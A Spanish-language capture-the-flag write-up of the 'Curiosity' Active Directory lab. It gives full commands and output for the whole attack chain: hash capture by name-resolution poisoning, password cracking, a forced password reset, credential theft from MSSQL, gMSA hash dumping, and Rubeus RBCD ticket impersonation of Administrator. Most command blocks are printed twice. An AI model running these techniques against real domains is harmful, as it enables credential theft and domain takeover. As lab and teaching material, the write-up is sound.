September 4, 2026
The Hackers Labs Writeup — Curiosity (Spanish)
A continuación, describo la guía de resolución del laboratorio de The Hackers Labs denominado “Curiosity”.

By David Prieto Montero (a.k.a Pyth0nK1d)
23 min read
Este laboratorio está catalogado con la dificultad "Profesional" y su autor es "K0B4KS".
ATENCIÓN
Las herramientas y técnicas utilizadas en la resolución de este laboratorio han sido ejecutadas en un entorno controlado. El autor de esta publicación no se hace responsable del mal uso que se haga de estas, ya que el objetivo final de esta publicación es transmitir conocimientos con fines éticos y educativos.
Resumen de contenido sobre este laboratorio
Tags: Configuración por defecto, Contraseña débil, Curiosidad, DCSync,Delegación restringida basada en recursos (RBCD),Directorio Activo (Active Directory), Divulgación de información, Golden Ticket, Group Managed Service Account (gMSA), Investigación, Mala configuración de privilegios, Mala configuración de servicio, Microsoft SQL Server (MSSQL), Movimiento lateral, Pass-the-Hash (PtH), Permisos mal configurados o laxos, Persistencia, Windows
Antes de comenzar, se indica un resumen de contenido que se puede encontrar en esta guía:
- Captura de hash NTLMv2 del usuario de dominio
jdoe. Debido a la debilidad de su contraseña, fue posible obtener las credenciales mediante un proceso de cracking offline. Esto ofrece la posibilidad de realizar el acceso inicial al DC como este usuario a través de WinRM. - El usuario de dominio
jdoepertenece a un grupo de dominio denominadoIT ADMINS, cuyos miembros tienen permitido forzar el cambio de contraseña sobre el usuario de dominioDBA_ADM, debido al permiso "ForceChangePassword" configurado, pudiendo además acceder al DC como este usuario a través de WinRM. - La instancia por defecto de MSSQL accesible permite el acceso del usuario
DBA_ADMmediante autenticación integrada de Windows, permitiendo divulgación de información sin necesidad de credenciales válidas para este servicio. Se descubren y recuperan así las credenciales en texto plano para el usuario de dominiosqlsvc, pudiendo además acceder al DC como este usuario a través de WinRM. - El grupo de dominio
GMSA_USERS, al que el usuario de dominiosqlsvcpertenece, permite la extracción del hash NTLM de la cuenta de dominio gMSA denominadaGMSA_SVC$, obteniendo de esta forma credenciales válidas asociadas a esta cuenta. - Se detecta una configuración de delegación restringida basada en recursos (RBCD) sobre el controlador de dominio (DC) mediante la cuenta
GMSA_SVC$. Esto permite que esta cuenta actúe en nombre de otros usuarios frente al DC pudiendo realizar operaciones privilegiadas sin necesidad de credenciales, como un ataque DCSync para la extracción de credenciales válidas del dominio. - Utilizar el hash del usuario administrador de dominio
Administrator(Domain Admin) extraído para acceder de forma privilegiada al DC a través de WinRM mediante Pass-the-Hash (PtH). - Identificación y documentación de otros métodos y curiosidades encontradas.
Configuración previa necesaria
En el PDF adjunto a este laboratorio se indica la importancia de la configuración de red previa a realizar.
Indico a continuación una serie de recomendaciones a seguir según mi propia experiencia con este laboratorio:
- Utilizar el hipervisor VirtualBox para realizar este laboratorio y evitar así posibles problemas de compatibilidad.
- Realizar la configuración de red exactamente como se indica en el PDF adjunto.
- No he tenido ningún problema en particular con este laboratorio. Sin embargo, siempre recomiendo que en el caso de encontrarse con algún problema, volver a importarlo en VirtualBox.
Reconocimiento inicial
Se inicia el reconocimiento mediante un ping a la máquina. Esto se hace por un lado para detectar que la máquina se encuentra accesible y por otro lado para poder detectar el sistema operativo mediante el TTL asignado.
ping -c 1 192.168.56.8ping -c 1 192.168.56.8
Se puede comprobar que el TTL asignado es 128, indicando que la máquina está accesible directamente sin ningún nodo intermediario y por otro lado que el sistema subyacente es Microsoft Windows.
Una vez hecho esto, se realiza un reconocimiento de los servicios disponibles en dos fases. En la primera, se realiza un escaneo de todos los puertos TCP usando nmap para detectar en primera instancia cuales de ellos son accesibles (open), utilizando un escaneo TCP SYN.
sudo nmap -sS -p- --min-rate 1000 -n -Pn 192.168.56.8 -oN allPortssudo nmap -sS -p- --min-rate 1000 -n -Pn 192.168.56.8 -oN allPorts
En la segunda, se realiza un reconocimiento básico de los servicios subyacentes también mediante el uso de nmap. Esta vez, realizando dicha tarea de reconocimiento únicamente en los puertos detectados como abiertos.
nmap -sCV -p 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49683,49684,49686,49690,49702,49717 -n -Pn 192.168.56.8 -oN servicesnmap -sCV -p 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49683,49684,49686,49690,49702,49717 -n -Pn 192.168.56.8 -oN services
En este caso, se omite el escaneo de puertos UDP, ya que para esta máquina en particular no tiene ningún servicio relevante para llevar a cabo el ejercicio.
Acceso inicial (jdoe)
En este caso se detecta que hay trece puertos abiertos (excluyendo los high ports):
- Puerto 53 (servicio DNS, Simple DNS Plus)
- Puerto 88 (servicio Kerberos, Microsoft Windows Kerberos)
- Puerto 135 (servicio RPC, Microsoft Windows RPC)
- Puerto 139 (protocolo NetBIOS, Microsoft Windows SMB)
- Puerto 389 (servicio LDAP, Microsoft Windows Active Directory LDAP)
- Puerto 445 (protocolo SMB, Microsoft Windows SMB)
- Puerto 464 (servicio Kerberos, kpasswd)
- Puerto 593 (servicio RPC, Microsoft Windows RPC)
- Puerto 636 (servicio LDAPS, Lightweight Directory Access Protocol over TLS/SSL)
- Puerto 3268 (servicio LDAP, LDAP connection to Global Catalog)
- Puerto 3269 (servicio LDAPS, LDAP connection to Global Catalog over SSL)
- Puerto 5985 (servicio WinRM, Microsoft Windows Remote Management)
- Puerto 9389 (servicio ADWS, Active Directory Web Services)
Además, gracias a la detección de estos servicios, se puede comprobar que el sistema subyacente es Windows aparentemente ejecutando servicios asociados a Directorio Activo (Active Directory) dando a entender que actúa como un controlador de dominio (Domain Controller****, DC).
Tras investigar los distintos servicios desde una perspectiva no autenticada sin éxito, se decide utilizar la herramienta "responder" para capturar cualquier posible intento de autenticación que se esté realizando.
En resumen, la herramienta "responder" es una herramienta de seguridad informática utilizada principalmente en pruebas de penetración y auditorías de redes Windows. Su objetivo es aprovechar ciertos mecanismos de resolución de nombres como LLMNR (Link-Local Multicast Name Resolution) o NBT-NS (NetBIOS Name Service) junto a la autenticación de Windows para capturar intentos de autenticación de equipos de una red y analizar configuraciones inseguras.
sudo responder -I eth0sudo responder -I eth0Tras mantenerlo a la escucha, este termina capturando los intentos de autenticación a través de SMB del usuario de dominio denominado "jdoe", lo que resulta en la obtención del hash NTLMv2 asociado a este.
...
[+] Listening for events...
[*] [NBT-NS] Poisoned answer sent to 192.168.56.8 for name SQLSERVER (service: File Server)
[*] [LLMNR] Poisoned answer sent to fe80::5c61:b412:2e7d:b3d6 for name SQLserver
[*] [LLMNR] Poisoned answer sent to 192.168.56.8 for name SQLserver
[*] [LLMNR] Poisoned answer sent to fe80::5c61:b412:2e7d:b3d6 for name SQLserver
[*] [LLMNR] Poisoned answer sent to 192.168.56.8 for name SQLserver
[SMB] NTLMv2-SSP Client : fe80::5c61:b412:2e7d:b3d6
[SMB] NTLMv2-SSP Username : hackme\jdoe
[SMB] NTLMv2-SSP Hash : <RECORTADO>
......
[+] Listening for events...
[*] [NBT-NS] Poisoned answer sent to 192.168.56.8 for name SQLSERVER (service: File Server)
[*] [LLMNR] Poisoned answer sent to fe80::5c61:b412:2e7d:b3d6 for name SQLserver
[*] [LLMNR] Poisoned answer sent to 192.168.56.8 for name SQLserver
[*] [LLMNR] Poisoned answer sent to fe80::5c61:b412:2e7d:b3d6 for name SQLserver
[*] [LLMNR] Poisoned answer sent to 192.168.56.8 for name SQLserver
[SMB] NTLMv2-SSP Client : fe80::5c61:b412:2e7d:b3d6
[SMB] NTLMv2-SSP Username : hackme\jdoe
[SMB] NTLMv2-SSP Hash : <RECORTADO>
...
Al utilizar listas de contraseñas conocidas, se termina detectando una que la consigue romper.
mousepad jdoe.hash -> pegar y guardar el hash capturado
john --wordlist=/usr/share/seclists/Passwords/seasons.txt jdoe.hashmousepad jdoe.hash -> pegar y guardar el hash capturado
john --wordlist=/usr/share/seclists/Passwords/seasons.txt jdoe.hash
Probando las credenciales, se comprueba que efectivamente son válidas y que además tiene permitido acceder al sistema a través de WinRM.
netexec ldap 192.168.56.8 -u "jdoe" -p '<RECORTADO>' --ignore-pw-decoding
netexec winrm 192.168.56.8 -u "jdoe" -p '<RECORTADO>' --ignore-pw-decodingnetexec ldap 192.168.56.8 -u "jdoe" -p '<RECORTADO>' --ignore-pw-decoding
netexec winrm 192.168.56.8 -u "jdoe" -p '<RECORTADO>' --ignore-pw-decoding
Con estas credenciales se obtiene acceso inicial al sistema, obteniendo así la flag asociada a este usuario.
evil-winrm -i 192.168.56.8 -u "jdoe" -p '<RECORTADO>'
whoami
hostname
ipconfig
dir ..\Desktop
type ..\Desktop\user.txtevil-winrm -i 192.168.56.8 -u "jdoe" -p '<RECORTADO>'
whoami
hostname
ipconfig
dir ..\Desktop
type ..\Desktop\user.txt
Escalada de privilegios (jdoe -> DBA_ADM)
Para obtener una visión más completa del dominio, en esta ocasión se utiliza la herramienta "bloodhound-python" para poder extraer toda la información posible de este.
bloodhound-python -c All -d 'hackme.thl' -u "jdoe" -p '<RECORTADO>' -ns 192.168.56.8 --zipbloodhound-python -c All -d 'hackme.thl' -u "jdoe" -p '<RECORTADO>' -ns 192.168.56.8 --zip
El archivo ZIP resultante tras la ejecución contiene la información de dominio recolectada por la herramienta. Para visualizarla, es necesario disponer de la herramienta BloodHound instalada.
En resumen, BloodHound es una herramienta de pentesting que analiza y visualiza relaciones en Active Directory para descubrir rutas de ataque y posibles escaladas de privilegios, lo que la hace muy útil en auditorías de seguridad y defensa de redes corporativas.
Instalar BloodHound: sudo apt install bloodhoundInstalar BloodHound: sudo apt install bloodhoundUna vez instalada, configurada y abierta la UI de la herramienta, se importa el archivo ZIP previamente generado.
Una vez se haya procesado la información y se haya generado el mapa del dominio con esta, es posible empezar a inspeccionarla.
Se comienza desde el usuario que ya se controla para ver de que posibles privilegios dispone.
En este caso, se detecta que el usuario "jdoe" es miembro del grupo "IT ADMINS". A su vez, los miembros de este grupo tienen el permiso "ForceChangePassword" sobre el usuario "DBA_ADM".
Al disponer de este privilegio, es posible cambiar su contraseña para ganar acceso a este.
Además, se puede comprobar que hay unas instrucciones que indican como es posible aprovechar este privilegio utilizando PowerView.
"jdoe" -> MemberOf -> "IT ADMINS" -> ForceChangePassword -> "DBA_ADM""jdoe" -> MemberOf -> "IT ADMINS" -> ForceChangePassword -> "DBA_ADM"
En resumen, PowerView es una herramienta de pentesting para Active Directory que permite enumerar usuarios, grupos, permisos y relaciones dentro de una red, siendo muy útil para detectar configuraciones débiles y posibles rutas de ataque.
En este caso por conveniencia y no por imposibilidad**, se utiliza una adaptación en Python** que dispone de los comandos necesarios para realizar las operaciones necesarias.
Referencia (PowerView en Python): https://github.com/aniqfakhrul/powerview.py
Instalación: https://github.com/aniqfakhrul/powerview.py/wiki/Installation-Guide
(en mi caso he creado un entorno virtual para instalarla)
sudo apt install libkrb5-dev
virtualenv venv --python=/usr/bin/python3
source venv/bin/activate
pip3 install powerviewReferencia (PowerView en Python): https://github.com/aniqfakhrul/powerview.py
Instalación: https://github.com/aniqfakhrul/powerview.py/wiki/Installation-Guide
(en mi caso he creado un entorno virtual para instalarla)
sudo apt install libkrb5-dev
virtualenv venv --python=/usr/bin/python3
source venv/bin/activate
pip3 install powerviewUna vez instalada, es posible iniciarla facilitando credenciales válidas del dominio. En este caso, se usan las del usuario de dominio "jdoe". Al disponer de este privilegio, es posible cambiar su contraseña para ganar acceso a este.
(venv)pyth0nk1d@serpiente:~/TheHackersLabs/Curiosity/assessment$ powerview hackme.thl/jdoe:'<RECORTADO>'@192.168.56.8
Logging directory is set to /home/pyth0nk1d/.powerview/logs/hackme
╭─LDAPS─[DC.hackme.thl]─[HACKME\jdoe]-[NS:192.168.56.8]
╰─ ❯ Set-DomainUserPassword -Identity 'DBA_ADM' -AccountPassword '<RECORTADO>'
[Set-DomainUserPassword] Principal CN=dba_adm,CN=Users,DC=hackme,DC=thl found in domain
[Set-DomainUserPassword] Password has been successfully changed for user dba_adm(venv)pyth0nk1d@serpiente:~/TheHackersLabs/Curiosity/assessment$ powerview hackme.thl/jdoe:'<RECORTADO>'@192.168.56.8
Logging directory is set to /home/pyth0nk1d/.powerview/logs/hackme
╭─LDAPS─[DC.hackme.thl]─[HACKME\jdoe]-[NS:192.168.56.8]
╰─ ❯ Set-DomainUserPassword -Identity 'DBA_ADM' -AccountPassword '<RECORTADO>'
[Set-DomainUserPassword] Principal CN=dba_adm,CN=Users,DC=hackme,DC=thl found in domain
[Set-DomainUserPassword] Password has been successfully changed for user dba_adm
Probando las credenciales, se comprueba que efectivamente son válidas y que además tiene permitido acceder al sistema a través de WinRM.
netexec ldap 192.168.56.8 -u "DBA_ADM" -p '<RECORTADO>' --ignore-pw-decoding
netexec winrm 192.168.56.8 -u "DBA_ADM" -p '<RECORTADO>' --ignore-pw-decodingnetexec ldap 192.168.56.8 -u "DBA_ADM" -p '<RECORTADO>' --ignore-pw-decoding
netexec winrm 192.168.56.8 -u "DBA_ADM" -p '<RECORTADO>' --ignore-pw-decoding
Con estas credenciales es posible acceder al sistema a través de WinRM.
evil-winrm -i 192.168.56.8 -u "DBA_ADM" -p '<RECORTADO>'
whoami
hostname
ipconfigevil-winrm -i 192.168.56.8 -u "DBA_ADM" -p '<RECORTADO>'
whoami
hostname
ipconfig
Escalada de privilegios (DBA_ADM -> sqlsvc)
Al enumerar el sistema, se detecta información sobre la instalación del servicio MSSQL ejecutándose, donde se puede confirmar que está ejecutando una instancia SQLEXPRESS por defecto.
Nota importante: Esta información también se detecta como pista al capturar el hash NTLMv2, indicando que intenta conectarse a un recurso compartido denominado "SQLSERVER". De esta forma da a entender que este servicio se debe estar ejecutando de forma local.
type "C:\Program Files\Microsoft SQL Server\150\Setup Bootstrap\Log\Summary.txt"
...
IACCEPTPYTHONLICENSETERMS: false
IACCEPTROPENLICENSETERMS: false
IACCEPTSQLSERVERLICENSETERMS: true
IACKNOWLEDGEENTCALLIMITS: false
INDICATEPROGRESS: true
INSTALLSHAREDDIR: C:\Program Files\Microsoft SQL Server\
INSTALLSHAREDWOWDIR: C:\Program Files (x86)\Microsoft SQL Server\
INSTALLSQLDATADIR: <empty>
INSTANCEDIR: C:\Program Files\Microsoft SQL Server
INSTANCEID: SQLEXPRESS
INSTANCENAME: SQLEXPRESS
ISMASTERSVCACCOUNT: NT AUTHORITY\Network Service
ISMASTERSVCPASSWORD: <empty>
ISMASTERSVCPORT: 8391
ISMASTERSVCSSLCERTCN: <empty>
ISMASTERSVCSTARTUPTYPE: Automatic
ISMASTERSVCTHUMBPRINT: <empty>type "C:\Program Files\Microsoft SQL Server\150\Setup Bootstrap\Log\Summary.txt"
...
IACCEPTPYTHONLICENSETERMS: false
IACCEPTROPENLICENSETERMS: false
IACCEPTSQLSERVERLICENSETERMS: true
IACKNOWLEDGEENTCALLIMITS: false
INDICATEPROGRESS: true
INSTALLSHAREDDIR: C:\Program Files\Microsoft SQL Server\
INSTALLSHAREDWOWDIR: C:\Program Files (x86)\Microsoft SQL Server\
INSTALLSQLDATADIR: <empty>
INSTANCEDIR: C:\Program Files\Microsoft SQL Server
INSTANCEID: SQLEXPRESS
INSTANCENAME: SQLEXPRESS
ISMASTERSVCACCOUNT: NT AUTHORITY\Network Service
ISMASTERSVCPASSWORD: <empty>
ISMASTERSVCPORT: 8391
ISMASTERSVCSSLCERTCN: <empty>
ISMASTERSVCSTARTUPTYPE: Automatic
ISMASTERSVCTHUMBPRINT: <empty>
Este servicio por defecto utiliza la autenticación integrada de Windows para permitir el acceso al servicio. Además, existe una herramienta denominada "sqlcmd" la cual sirve para conectarse a instancias de SQL Server y ejecutar consultas, scripts o comandos T-SQL, y que en ciertos entornos se encuentra instalada por defecto.
Referencia (Windows Authentication by default in MSSQL): https://learn.microsoft.com/da-dk/sql/relational-databases/security/choose-an-authentication-mode?view=sql-server-ver17#connecting-through-windows-authentication
Referencia (sqlcmd): https://learn.microsoft.com/en-us/sql/tools/sqlcmd/sqlcmd-download-install?view=sql-server-ver17&tabs=linux#preinstalled
Referencia (Connecting to a user instance): https://learn.microsoft.com/en-us/sql/connect/ado-net/sql/sql-server-express-user-instances?view=sql-server-ver17#connecting-to-a-user-instanceReferencia (Windows Authentication by default in MSSQL): https://learn.microsoft.com/da-dk/sql/relational-databases/security/choose-an-authentication-mode?view=sql-server-ver17#connecting-through-windows-authentication
Referencia (sqlcmd): https://learn.microsoft.com/en-us/sql/tools/sqlcmd/sqlcmd-download-install?view=sql-server-ver17&tabs=linux#preinstalled
Referencia (Connecting to a user instance): https://learn.microsoft.com/en-us/sql/connect/ado-net/sql/sql-server-express-user-instances?view=sql-server-ver17#connecting-to-a-user-instanceSi el usuario actual se encuentra configurado para que permita el acceso a este servicio mediante la autenticación integrada de Windows, esto puede permitir ejecutar consultas SQL sobre esta instancia del servicio.
Tras probarlo, se puede comprobar que la consulta se ejecuta y es posible consultar la versión del servicio en ejecución.
sqlcmd -S .\SQLEXPRESS -Q "SELECT @@VERSION"sqlcmd -S .\SQLEXPRESS -Q "SELECT @@VERSION"
Esto funciona debido a que se utiliza la autenticación integrada de Windows del usuario actual para poder conectarse directamente. Se puede comprobar que la autenticación mediante esta identidad de Windows permite el acceso de usuarios autenticados pertenecientes a cualquiera de los grupos "BUILTIN\Users" o "HACKME\IT_DBA", a los cuales pertenece el usuario actual.
Además, la instancia está configurada para que solo pueda accederse al servicio mediante este modo de autenticación.
whoami /groups
sqlcmd -S .\SQLEXPRESS -Q "SELECT name, type_desc FROM sys.server_principals WHERE type IN ('S','U','G');"
sqlcmd -S .\SQLEXPRESS -h 1 -W -Q "SET NOCOUNT ON; SELECT ORIGINAL_LOGIN() AS original_login, SUSER_SNAME() AS current_login, SYSTEM_USER AS login_name"
sqlcmd -S .\SQLEXPRESS -h 1 -W -Q "SELECT SERVERPROPERTY('IsIntegratedSecurityOnly') AS WindowsOnly;"whoami /groups
sqlcmd -S .\SQLEXPRESS -Q "SELECT name, type_desc FROM sys.server_principals WHERE type IN ('S','U','G');"
sqlcmd -S .\SQLEXPRESS -h 1 -W -Q "SET NOCOUNT ON; SELECT ORIGINAL_LOGIN() AS original_login, SUSER_SNAME() AS current_login, SYSTEM_USER AS login_name"
sqlcmd -S .\SQLEXPRESS -h 1 -W -Q "SELECT SERVERPROPERTY('IsIntegratedSecurityOnly') AS WindowsOnly;"
En este punto es posible enumerar las bases de datos disponibles.
sqlcmd -S .\SQLEXPRESS -Q "SELECT name FROM sys.databases"sqlcmd -S .\SQLEXPRESS -Q "SELECT name FROM sys.databases"
Para automatizar la enumeración, se utiliza un procedimiento en particular denominado "sp_MSforeachdb" para realizar esta enumeración de tablas automática, excluyendo las bases de datos que no vayan a contener en principio nada de interés.
Nota importante: "sp_MSforeachdb" es un procedimiento almacenado interno incluido en SQL Server que permite ejecutar un comando T-SQL sobre cada base de datos de una instancia. No está documentado oficialmente por Microsoft y su uso no está recomendado como dependencia de código de producción. Por ello, se recomienda utilizar este procedimiento con precaución.
Referencia (sp_MSforeachdb, what we know): https://www.sqlservice.se/sp_msforeachdb-tricks-of-the-trade/
EXEC sp_MSforeachdb '
IF ''?'' NOT IN (''master'',''model'',''msdb'',''tempdb'')
BEGIN
USE [?];
SELECT
DB_NAME() AS DatabaseName,
s.name AS SchemaName,
t.name AS TableName
FROM sys.tables t
JOIN sys.schemas s
ON t.schema_id = s.schema_id;
END
';Referencia (sp_MSforeachdb, what we know): https://www.sqlservice.se/sp_msforeachdb-tricks-of-the-trade/
EXEC sp_MSforeachdb '
IF ''?'' NOT IN (''master'',''model'',''msdb'',''tempdb'')
BEGIN
USE [?];
SELECT
DB_NAME() AS DatabaseName,
s.name AS SchemaName,
t.name AS TableName
FROM sys.tables t
JOIN sys.schemas s
ON t.schema_id = s.schema_id;
END
';Al ejecutarlo mediante "sqlcmd", este parece tener permiso para acceder a una tabla en particular.
sqlcmd -S .\SQLEXPRESS -Q "EXEC sp_MSforeachdb 'IF ''?'' NOT IN (''master'',''model'',''msdb'',''tempdb'') BEGIN USE [?]; SELECT DB_NAME() AS DatabaseName, s.name AS SchemaName, t.name AS TableName FROM sys.tables t JOIN sys.schemas s ON t.schema_id = s.schema_id; END';"
...
DatabaseName: CredentialsDB
TableName: Credentials
SchemaName: dbosqlcmd -S .\SQLEXPRESS -Q "EXEC sp_MSforeachdb 'IF ''?'' NOT IN (''master'',''model'',''msdb'',''tempdb'') BEGIN USE [?]; SELECT DB_NAME() AS DatabaseName, s.name AS SchemaName, t.name AS TableName FROM sys.tables t JOIN sys.schemas s ON t.schema_id = s.schema_id; END';"
...
DatabaseName: CredentialsDB
TableName: Credentials
SchemaName: dbo
Al consultar el contenido de esta tabla, se puede comprobar que contiene lo que parece ser las credenciales de un usuario denominado "sqlsvc".
sqlcmd -S .\SQLEXPRESS -d "CredentialsDB" -Q "SELECT * from dbo.Credentials"
...
ID: 1
Username: sqlsvc
Password: <RECORTADO>sqlcmd -S .\SQLEXPRESS -d "CredentialsDB" -Q "SELECT * from dbo.Credentials"
...
ID: 1
Username: sqlsvc
Password: <RECORTADO>
Al parecer el hash descubierto parece tener el formato MD5.
hashid <RECORTADO>hashid <RECORTADO>
Siguiendo la misma estrategia, se prueba otro diccionario de contraseñas conocidas especificando el formato del hash. Esto resulta en obtener la contraseña asociada.
mousepad sqlsvc.hash -> pegar y guardar el hash
john --wordlist=/usr/share/seclists/Passwords/Leaked-Databases/fortinet-2021_passwords.txt --format=Raw-MD5 sqlsvc.hashmousepad sqlsvc.hash -> pegar y guardar el hash
john --wordlist=/usr/share/seclists/Passwords/Leaked-Databases/fortinet-2021_passwords.txt --format=Raw-MD5 sqlsvc.hash
Probando las credenciales, se comprueba que efectivamente son válidas y que este usuario tiene permitido el acceso al sistema a través de WinRM.
netexec ldap 192.168.56.8 -u "sqlsvc" -p '<RECORTADO>' --ignore-pw-decoding
netexec winrm 192.168.56.8 -u "sqlsvc" -p '<RECORTADO>' --ignore-pw-decodingnetexec ldap 192.168.56.8 -u "sqlsvc" -p '<RECORTADO>' --ignore-pw-decoding
netexec winrm 192.168.56.8 -u "sqlsvc" -p '<RECORTADO>' --ignore-pw-decoding
Con las credenciales del usuario de dominio "sqlsvc" se obtiene acceso al sistema a través de WinRM.
evil-winrm -i 192.168.56.8 -u "sqlsvc" -p '<RECORTADO>'
whoami
hostname
ipconfigevil-winrm -i 192.168.56.8 -u "sqlsvc" -p '<RECORTADO>'
whoami
hostname
ipconfig
Escalada de privilegios (sqlsvc -> GMSA_SVC$)
Enumerando el sistema, se detecta un archivo en formato .kirbi al cual se le dedica una sección posterior a su análisis.
El formato .kirbi es una representación de tickets de autenticación Kerberos serializados, utilizado habitualmente por herramientas de seguridad como Rubeus. Sirve para guardar, transportar y reutilizar tickets Kerberos entre procesos o herramientas compatibles.
Además, se detecta la presencia de la herramienta Rubeus, la cual va a ser útil más adelante.
dirdir
En resumen, Rubeus es una herramienta de post-explotación para entornos ****Active Directory. Sirve para interactuar con Kerberos y gestionar/extraer tickets de autenticación. Se utiliza principalmente en pentesting** y auditorías de seguridad** para identificar posibles vulnerabilidades en Kerberos.
Al revisar nuevamente BloodHound, se detecta un posible vector de escalada de privilegios dentro del dominio.
Se detecta una forma de poder acceder desde el usuario "sqlsvc" a la cuenta de dominio denominada "GMSA_SVC$".
sqlsvc -> MemberOf -> GMSA_USERS -> ReadGMSAPassword -> GMSA_SVC$sqlsvc -> MemberOf -> GMSA_USERS -> ReadGMSAPassword -> GMSA_SVC$
Como el usuario de dominio "sqlsvc" pertenece al grupo de dominio "GMSA_USERS", se detecta que los miembros de este grupo tienen un permiso especial "ReadGMSAPassword" sobre la cuenta de dominio "GMSA_SVC$", permitiendo la extracción y lectura de su contraseña. Al disponer de este permiso, esta cuenta parece ser una cuenta gMSA (Group Managed Service Account).
En resumen, una gMSA es una cuenta de servicio administrada por Active Directory cuyo secreto (contraseña) es generado, almacenado y rotado automáticamente por el dominio. Se utiliza para ejecutar servicios (SQL Server, IIS, aplicaciones, tareas programadas, etc.) sin que un administrador tenga que gestionar contraseñas manualmente.
Además, se puede comprobar que hay unas instrucciones que indican como es posible aprovechar este privilegio utilizando una herramienta denominada "gMSADumper".
Reference (gMSADumper): https://github.com/micahvandeusen/gMSADumperReference (gMSADumper): https://github.com/micahvandeusen/gMSADumper
Para explotar este permiso, primero se descarga esta herramienta y se instalan sus dependencias.
git clone https://github.com/micahvandeusen/gMSADumper
cd gMSADumper
virtualenv venv --python=/usr/bin/python3
source venv/bin/activate
pip install -r requirements.txtgit clone https://github.com/micahvandeusen/gMSADumper
cd gMSADumper
virtualenv venv --python=/usr/bin/python3
source venv/bin/activate
pip install -r requirements.txt
Una vez ejecutada facilitando las credenciales del usuario de dominio "sqlsvc", es posible obtener las credenciales de la cuenta de dominio "GMSA_SVC$", obteniendo el hash NTLM asociado a esta.
python3 gMSADumper.py
python3 gMSADumper.py -u sqlsvc -p '<RECORTADO>' -d hackme.thl -l '192.168.56.8'python3 gMSADumper.py
python3 gMSADumper.py -u sqlsvc -p '<RECORTADO>' -d hackme.thl -l '192.168.56.8'
En este punto, se puede probar que las credenciales asociadas a esta cuenta de dominio "GMSA_SVC$" son válidas mediante Pass-the-Hash (PtH), o lo que es lo mismo, utilizando su hash NTLM para autenticarse directamente. Sin embargo, esta no tiene permisos para acceder al sistema a través de WinRM.
netexec ldap 192.168.56.8 -u "GMSA_SVC$" -H '<RECORTADO>' --ignore-pw-decoding
netexec winrm 192.168.56.8 -u "GMSA_SVC$" -H '<RECORTADO>' --ignore-pw-decodingnetexec ldap 192.168.56.8 -u "GMSA_SVC$" -H '<RECORTADO>' --ignore-pw-decoding
netexec winrm 192.168.56.8 -u "GMSA_SVC$" -H '<RECORTADO>' --ignore-pw-decoding
Escalada de privilegios (GMSA_SVC$ -> Administrator)
Tras analizar los permisos disponibles de la cuenta de dominio "GMSA_SVC$" desde BloodHound, se detecta una forma de obtener máximos privilegios sobre el dominio.
Opción 1 — Obtención y abuso de un ticket de Kerberos en nombre de Administrator (RBCD) utilizando Rubeus + Impacket (Windows + GNU/Linux)
Tras analizar más en detalle, se detecta que la cuenta de dominio "GMSA_SVC$" dispone de un atributo "AllowedToAct" asociado a la cuenta del controlador de dominio o "DC$".
En resumen, AllowedToAct es el nombre informal utilizado para referirse al atributo msDS-AllowedToActOnBehalfOfOtherIdentity, un atributo de Active Directory que contiene un descriptor de seguridad utilizado para determinar qué solicitantes tienen permiso para actuar en nombre de otras identidades frente a servicios que se ejecutan como la cuenta asociada. Este atributo se utiliza en escenarios de Kerberos, concretamente en la delegación restringida basada en recursos (RBCD), permitiendo que determinados servicios actúen en nombre de usuarios frente a otros servicios.
El impacto de esta configuración implica que si esta relación puede utilizarse con una identidad privilegiada, puede convertirse en una vía de compromiso del dominio.
Referencia (Atributo ms-DS-Allowed-To-Act-On-Behalf-of-Other-Identity): https://learn.microsoft.com/es-es/windows/win32/adschema/a-msds-allowedtoactonbehalfofotheridentityReferencia (Atributo ms-DS-Allowed-To-Act-On-Behalf-of-Other-Identity): https://learn.microsoft.com/es-es/windows/win32/adschema/a-msds-allowedtoactonbehalfofotheridentitySe detecta en BloodHound la forma de abusar de este atributo utilizando la herramienta Rubeus detectada previamente.
Este muestra como utilizar el módulo denominado "s4u" para aprovechar este atributo privilegiado y obtener así un TGS asociado al usuario "Administrator" del dominio.
En resumen, el módulo s4u de Rubeus utiliza las extensiones S4U de Kerberos para solicitar, primero mediante S4U2Self, un ticket que representa a un usuario frente al servicio controlado por la cuenta delegante y, después mediante S4U2Proxy, solicita al KDC un ticket para otro servicio actuando en nombre de ese usuario. En el contexto de RBCD, el atributo msDS-AllowedToActOnBehalfOfOtherIdentity del recurso determina qué cuentas están autorizadas para realizar esa delegación; por tanto, si una cuenta está permitida en dicho atributo, Rubeus puede emplear S4U2Proxy para obtener tickets hacia servicios del recurso en nombre de una identidad suplantada.
Tras construir el comando siguiendo la referencia con la información conocida y las credenciales de la cuenta de dominio "GMSA_SVC$", se puede comprobar que la solicitud se termina realizando correctamente, generando un TGS en nombre del usuario de dominio "Administrator".
./Rubeus.exe s4u /user:gmsa_svc /rc4:<RECORTADO> /impersonateuser:Administrator /msdsspn:cifs/DC.hackme.thl /domain:hackme.thl /dc:192.168.56.8 /ptt./Rubeus.exe s4u /user:gmsa_svc /rc4:<RECORTADO> /impersonateuser:Administrator /msdsspn:cifs/DC.hackme.thl /domain:hackme.thl /dc:192.168.56.8 /ptt
El resultado es un TGS asociado al servicio objetivo en nombre del usuario suplantado, o lo que es lo mismo, Administrator. Se puede comprobar que este ticket ha sido importado directamente.
klistklist
Para poder utilizar este ticket, en este caso se vuelve a utilizar Rubeus especificando que lo exporte a un archivo en formato .kirbi y se descarga este utilizando la sesión activa de WinRM.
./Rubeus.exe s4u /user:gmsa_svc /rc4:<RECORTADO> /impersonateuser:Administrator /msdsspn:cifs/DC.hackme.thl /domain:hackme.thl /dc:192.168.56.8 /outfile:Administrator.kirbi
download Administrator_cifs_DC.hackme.thl.kirbi./Rubeus.exe s4u /user:gmsa_svc /rc4:<RECORTADO> /impersonateuser:Administrator /msdsspn:cifs/DC.hackme.thl /domain:hackme.thl /dc:192.168.56.8 /outfile:Administrator.kirbi
download Administrator_cifs_DC.hackme.thl.kirbi
A continuación, se convierte el ticket del formato ".kirbi" al formato ".ccache".
impacket-ticketConverter Administrator_cifs_DC.hackme.thl.kirbi Administrator_cifs_DC.hackme.thl.ccache
ls -al Administrator*impacket-ticketConverter Administrator_cifs_DC.hackme.thl.kirbi Administrator_cifs_DC.hackme.thl.ccache
ls -al Administrator*
En resumen, el formato .ccache (Credential Cache) es un formato utilizado principalmente en implementaciones de Kerberos como MIT Kerberos para almacenar credenciales y tickets Kerberos en una caché. Sirve para guardar y reutilizar TGT/TGS durante la autenticación, sin tener que solicitar nuevamente cada ticket al KDC.
